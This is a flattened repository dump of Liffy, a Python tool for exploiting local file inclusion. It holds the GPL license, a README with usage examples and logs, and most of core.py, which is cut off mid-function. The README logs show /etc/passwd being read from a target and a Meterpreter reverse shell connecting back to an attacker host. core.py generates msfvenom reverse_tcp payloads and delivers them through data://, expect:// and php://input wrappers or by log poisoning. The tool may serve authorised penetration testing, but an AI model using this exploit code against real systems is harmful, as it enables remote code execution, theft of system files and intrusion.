├── .gitignore ├── LICENSE ├── README.md ├── core.py ├── http_server.py ├── liffy.py ├── msf.py └── shell_generator.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.idea 2 | *.pyc 3 | *.rc 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Liffy 2 | ===== 3 | 4 | Liffy is a Local File Inclusion Exploitation tool. 5 | 6 | Current features include: 7 | 8 | - data:// for code execution 9 | - expect:// for code execution 10 | - input:// for code execution 11 | - filter:// for arbitrary file reads 12 | - /proc/self/environ for code execution in CGI mode 13 | - Apache access.log poisoning 14 | - Linux auth.log SSH poisoning 15 | - Direct payload delivery with no stager 16 | - Support for absolute and relative paths 17 | - Support for cookies 18 | 19 | ! I have had issues with access log poisoning on current versions of Apache. This not an issue with the payload delivery and or poisoning. This is more of an issue with the request after the poisoning to kick off your shell. This may require a browser refresh. ! 20 | 21 | Install 22 | ======= 23 | 24 | Liffy requires the following libraries: requests, argparse, blessings, urlparse, daemon 25 | 26 | *Update* - Liffy now has built-in web serving functionality for all techniques that use the staged approach. This is built upon Python's simpleHTTPServer module, and is being daemonized once spawned as a process within core.py. I have had some issues with socket reuse and the child process not being killed correctly, so QA would be appreciated, and or suggestions on how to design it better. 27 | 28 | 29 | Example Usage 30 | ============== 31 | 32 | ``` 33 | ./liffy --url http://target/pdfs/vulnerable.php?= --data 34 | ./liffy --url http://target/pdfs/vulnerable.php?= --data --nostager 35 | 36 | 37 | 38 | ruckus:liffy rotlogix$ python liffy.py --url http://10.0.0.11/vuln/lfi.php?file= --filter 39 | 40 | 41 | .____ .__ _____ _____ 42 | | | |__|/ ____\/ ____\__.__. 43 | | | | \ __\ __< | | 44 | | |___| || | | | \___ | 45 | |_______ \__||__| |__| / ____| v1.2 46 | \/ \/ 47 | 48 | 49 | [2014-08-03 19:36:33.002626] Checking Target: http://10.0.0.11/vuln/lfi.php?file= 50 | [2014-08-03 19:36:33.002722] ...................................................................... 51 | [2014-08-03 19:36:33.791168] Target URL Looks Good! 52 | [2014-08-03 19:36:33.791210] Filter Technique Selected! 53 | [2014-08-03 19:36:33.791336] Please Enter File To Read: /etc/passwd 54 | [2014-08-03 19:36:38.319685] Decoded: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh 55 | bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh 56 | sync:x:4:65534:sync:/bin:/bin/sync 57 | games:x:5:60:games:/usr/games:/bin/sh 58 | man:x:6:12:man:/var/cache/man:/bin/sh 59 | lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh 60 | news:x:9:9:news:/var/spool/news:/bin/sh 61 | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 62 | proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www- 63 | data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh 64 | list:x:38:38:Mailing List Manager:/var/list:/bin/sh 65 | irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug- 66 | Reporting System (admin):/var/lib/gnats:/bin/sh 67 | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 68 | libuuid:x:100:101::/var/lib/libuuid:/bin/sh 69 | syslog:x:101:103::/home/syslog:/bin/false mysql:x:102:105:MySQL 70 | Server,,,:/nonexistent:/bin/false 71 | messagebus:x:103:106::/var/run/dbus:/bin/false 72 | whoopsie:x:104:107::/nonexistent:/bin/false 73 | landscape:x:105:110::/var/lib/landscape:/bin/false 74 | sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin 75 | 76 | 77 | 78 | .____ .__ _____ _____ 79 | | | |__|/ ____\/ ____\__.__. 80 | | | | \ __\ __< | | 81 | | |___| || | | | \___ | 82 | |_______ \__||__| |__| / ____| v1.2 83 | \/ \/ 84 | 85 | 86 | [2014-08-03 19:39:33.674202] Checking Target: http://10.0.0.11/vuln/lfi.php?file= 87 | [2014-08-03 19:39:33.674297] ...................................................................... 88 | [2014-08-03 19:39:34.454758] Target URL Looks Good! 89 | [2014-08-03 19:39:34.454795] Data Technique Selected! 90 | [2014-08-03 19:39:34.454877] Please Enter Host For Callbacks: 10.0.0.4 91 | [2014-08-03 19:39:37.112427] Please Enter Port For Callbacks: 6666 92 | [2014-08-03 19:39:38.597878] Generating Wrapper 93 | [2014-08-03 19:39:38.597955] ...................................................................... 94 | [2014-08-03 19:39:39.347935] Success! 95 | [2014-08-03 19:39:39.348007] Generating Metasploit Payload 96 | [2014-08-03 19:39:39.348059] ...................................................................... 97 | [2014-08-03 19:39:46.289658] Generated Metasploit Resource File 98 | [2014-08-03 19:39:46.289704] Load Metasploit: msfconsole -r php_listener.rc 99 | [2014-08-03 19:39:46.289734] Starting Web Server ... 100 | [2014-08-03 19:39:46.289750] ...................................................................... 101 | [2014-08-03 19:39:47.049321] Press Enter To Continue When Your Metasploit Handler is Running ... 102 | 103 | 104 | [*] Processing php_listener.rc for ERB directives. 105 | resource (php_listener.rc)> use multi/handler 106 | resource (php_listener.rc)> set payload php/meterpreter/reverse_tcp 107 | payload => php/meterpreter/reverse_tcp 108 | resource (php_listener.rc)> set LHOST 10.0.0.4 109 | LHOST => 10.0.0.4 110 | resource (php_listener.rc)> set LPORT 6666 111 | LPORT => 6666 112 | resource (php_listener.rc)> set ExitOnSession false 113 | ExitOnSession => false 114 | resource (php_listener.rc)> exploit -j 115 | [*] Exploit running as background job. 116 | 117 | [*] Started reverse handler on 10.0.0.4:6666 118 | [*] Starting the payload handler... 119 | msf exploit(handler) > [*] Sending stage (40551 bytes) to 10.0.0.11 120 | [*] Meterpreter session 1 opened (10.0.0.4:6666 -> 10.0.0.11:52410) at 2014-08-03 19:40:39 -0700 121 | msf exploit(handler) > 122 | 123 | ``` 124 | 125 | Sidenote 126 | ======== 127 | 128 | Original release repository https://github.com/rotlogix/liffy is no longer available. 129 | -------------------------------------------------------------------------------- /core.py: -------------------------------------------------------------------------------- 1 | __author__ = 'rotlogix' 2 | __author__ = 'unicornFurnace' 3 | 4 | from blessings import Terminal 5 | from shell_generator import Generator 6 | from msf import Payload 7 | import sys 8 | import time 9 | import requests 10 | import base64 11 | import textwrap 12 | import urlparse 13 | import datetime 14 | import subprocess 15 | from urllib import quote_plus 16 | from os import system 17 | 18 | 19 | # --------------------------------------------------------------------------------------------------- 20 | 21 | def progressbar(): 22 | bar_width = 70 23 | sys.stdout.write(t.cyan("[{0}] ".format(datetime.datetime.now())) + " " * bar_width) 24 | sys.stdout.flush() 25 | sys.stdout.write("\b" * (bar_width + 1)) 26 | 27 | for w in xrange(bar_width): 28 | time.sleep(0.01) 29 | sys.stdout.write(".") 30 | sys.stdout.flush() 31 | 32 | sys.stdout.write("\n") 33 | 34 | # --------------------------------------------------------------------------------------------------- 35 | 36 | t = Terminal() 37 | 38 | """ Things we will need for staged 39 | attacks and log poisoning """ 40 | 41 | stager_payload = "" 42 | path_traversal_sequences = ['../', '..\\', '/../', './../'] 43 | 44 | 45 | #--------------------------------------------------------------------------------------------------- 46 | 47 | 48 | def msf_payload(): 49 | """ Arguments for Meterpreter """ 50 | 51 | lhost = raw_input(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Please Enter Host For Callbacks: ") 52 | lport = raw_input(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Please Enter Port For Callbacks: ") 53 | 54 | """ Generate random shell name """ 55 | 56 | g = Generator() 57 | shell = g.generate() 58 | 59 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Generating Wrapper") 60 | progressbar() 61 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Success!") 62 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Generating Metasploit Payload") 63 | progressbar() 64 | 65 | """ MSF payload generation """ 66 | 67 | php = "/usr/bin/msfvenom -p php/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f raw > /tmp/{2}.php".format( 68 | lhost, lport, shell) 69 | 70 | try: 71 | msf = subprocess.Popen(php, shell=True) 72 | msf.wait() 73 | if msf.returncode != 0: 74 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Error Generating MSF Payload ") 75 | sys.exit(1) 76 | else: 77 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Success! ") 78 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Payload: /tmp/{0}.php").format(shell) 79 | except OSError as os_error: 80 | print(t.red("[{0}] ".format(datetime.datetime.now()))(os_error)) 81 | 82 | return lhost, lport, shell 83 | 84 | 85 | #--------------------------------------------------------------------------------------------------- 86 | 87 | 88 | def format_cookies(cookies): 89 | c = dict(item.split("=") for item in cookies.split(";")) 90 | return c 91 | 92 | 93 | #--------------------------------------------------------------------------------------------------- 94 | 95 | 96 | class Data: 97 | def __init__(self, target, nostager, cookies): 98 | 99 | self.target = target 100 | self.nostager = nostager 101 | self.cookies = cookies 102 | 103 | def execute_data(self): 104 | 105 | lhost, lport, shell = msf_payload() 106 | 107 | """ Build payload """ 108 | """ Handle staging """ 109 | 110 | if self.nostager: 111 | payload_file = open("/tmp/{0}.php".format(shell), "r") 112 | payload = payload_file.read() 113 | payload_file.close() 114 | else: 115 | payload = stager_payload.format(lhost, shell) 116 | 117 | encoded_payload = quote_plus(payload.encode('base64')) 118 | 119 | """ Build data wrapper """ 120 | 121 | data_wrapper = "data://text/html;base64,{0}".format(encoded_payload) 122 | lfi = self.target + data_wrapper 123 | 124 | handle = Payload(lhost, lport) 125 | handle.handler() 126 | 127 | if self.nostager: 128 | progressbar() 129 | else: 130 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Starting Web Server ... ") 131 | progressbar() 132 | try: 133 | p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE) 134 | p.communicate() 135 | except OSError as os_error: 136 | print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error) 137 | 138 | raw_input(t.red("[{0}] ".format( 139 | datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler is Running ...") 140 | 141 | """ LFI payload that downloads the shell with try block for actual 142 | attack """ 143 | 144 | if self.cookies: 145 | f_cookies = format_cookies(self.cookies) 146 | try: 147 | data_request = requests.get(lfi, cookies=f_cookies) 148 | if data_request.status_code != 200: 149 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Unexpected HTTP Response ") 150 | sys.exit(1) 151 | else: 152 | sys.exit(0) 153 | except requests.HTTPError as data_error: 154 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "HTTP Error")(data_error) 155 | sys.exit(1) 156 | else: 157 | try: 158 | data_request = requests.get(lfi) 159 | if data_request.status_code != 200: 160 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Unexpected HTTP Response ") 161 | else: 162 | sys.exit(0) 163 | except requests.HTTPError as data_error: 164 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "HTTP Error")(data_error) 165 | sys.exit(1) 166 | 167 | 168 | #--------------------------------------------------------------------------------------------------- 169 | 170 | 171 | class Input: 172 | def __init__(self, target, nostager, cookies): 173 | 174 | self.target = target 175 | self.nostager = nostager 176 | self.cookies = cookies 177 | 178 | def execute_input(self): 179 | 180 | lhost, lport, shell = msf_payload() 181 | 182 | """ Build payload """ 183 | 184 | wrapper = "php://input" 185 | url = self.target + wrapper 186 | 187 | """ Handle staging """ 188 | 189 | if self.nostager: 190 | payload_file = open("/tmp/{0}.php".format(shell), "r") 191 | payload = payload_file.read() 192 | payload_file.close() 193 | else: 194 | payload = stager_payload.format(lhost, shell) 195 | 196 | handle = Payload(lhost, lport) 197 | handle.handler() 198 | 199 | if self.nostager: 200 | progressbar() 201 | else: 202 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Starting Web Server ... ") 203 | progressbar() 204 | try: 205 | subprocess.Popen(['python http_server.py'], shell=True) 206 | except OSError as os_error: 207 | print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error) 208 | 209 | raw_input(t.cyan("[{0}] ".format( 210 | datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler Is Running ...") 211 | 212 | """ Handle cookies """ 213 | 214 | if self.cookies: 215 | f_cookies = format_cookies(self.cookies) 216 | try: 217 | input_request = requests.post(url, data=payload, cookies=f_cookies) 218 | if input_request.status_code != 200: 219 | print t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())) 220 | sys.exit(1) 221 | else: 222 | sys.exit(0) 223 | except requests.HTTPError as input_error: 224 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(input_error) 225 | sys.exit(1) 226 | else: 227 | try: 228 | input_request = requests.post(url, data=payload) 229 | if input_request.status_code != 200: 230 | print t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now())) 231 | sys.exit(1) 232 | else: 233 | sys.exit(0) 234 | except requests.HTTPError as input_error: 235 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(input_error) 236 | sys.exit(1) 237 | 238 | 239 | #--------------------------------------------------------------------------------------------------- 240 | 241 | 242 | class Expect: 243 | def __init__(self, target, nostager, cookies): 244 | 245 | self.target = target 246 | self.nostager = nostager 247 | self.cookies = cookies 248 | 249 | def execute_expect(self): 250 | 251 | lhost, lport, shell = msf_payload() 252 | 253 | handle = Payload(lhost, lport) 254 | handle.handler() 255 | 256 | """ Build payload """ 257 | """ Handle staging """ 258 | 259 | if self.nostager: 260 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "No-Staged Selected!") 261 | payload_file = open("/tmp/{0}.php".format(shell), "r") 262 | payload = "expect://echo \"" 263 | payload += quote_plus(payload_file.read().replace("\"", "\\\"").replace("$", "\\$")) 264 | payload += "\" | php" 265 | payload_file.close() 266 | else: 267 | payload = "expect://echo \"" + stager_payload.format(lhost, shell) + "\" | php" 268 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Starting Web Server ... ") 269 | progressbar() 270 | try: 271 | p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE) 272 | p.communicate() 273 | except OSError as os_error: 274 | print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error) 275 | 276 | lfi = self.target + payload 277 | 278 | raw_input(t.cyan("[{0}] ".format( 279 | datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler is Running ...") 280 | 281 | if self.cookies: 282 | f_cookies = format_cookies(self.cookies) 283 | try: 284 | r = requests.get(lfi, cookies=f_cookies) 285 | if r.status_code != 200: 286 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 287 | sys.exit(1) 288 | else: 289 | sys.exit(0) 290 | except requests.HTTPError as expect_error: 291 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(expect_error) 292 | sys.exit(1) 293 | else: 294 | try: 295 | r = requests.get(lfi) 296 | if r.status_code != 200: 297 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 298 | sys.exit(1) 299 | else: 300 | sys.exit(0) 301 | except requests.HTTPError as expect_error: 302 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(expect_error) 303 | sys.exit(1) 304 | 305 | 306 | #--------------------------------------------------------------------------------------------------- 307 | 308 | 309 | class Logs: 310 | def __init__(self, target, location, nostager, relative, cookies): 311 | 312 | self.target = target 313 | self.location = location 314 | self.nostager = nostager 315 | self.relative = relative 316 | self.cookies = cookies 317 | 318 | def execute_logs(self): 319 | 320 | lhost, lport, shell = msf_payload() 321 | 322 | handle = Payload(lhost, lport) 323 | handle.handler() 324 | 325 | """ Handle staging """ 326 | 327 | if self.nostager: 328 | payload_file = open("/tmp/{0}.php".format(shell), "r") 329 | payload = "".format( 330 | payload_file.read().encode('base64').replace("\n", " ")) 331 | payload_file.close() 332 | else: 333 | payload = stager_payload.format(lhost, shell) 334 | progressbar() 335 | try: 336 | p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE) 337 | p.communicate() 338 | except OSError as os_error: 339 | print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error) 340 | 341 | lfi = self.target + self.location 342 | 343 | raw_input(t.cyan("[{0}] ".format( 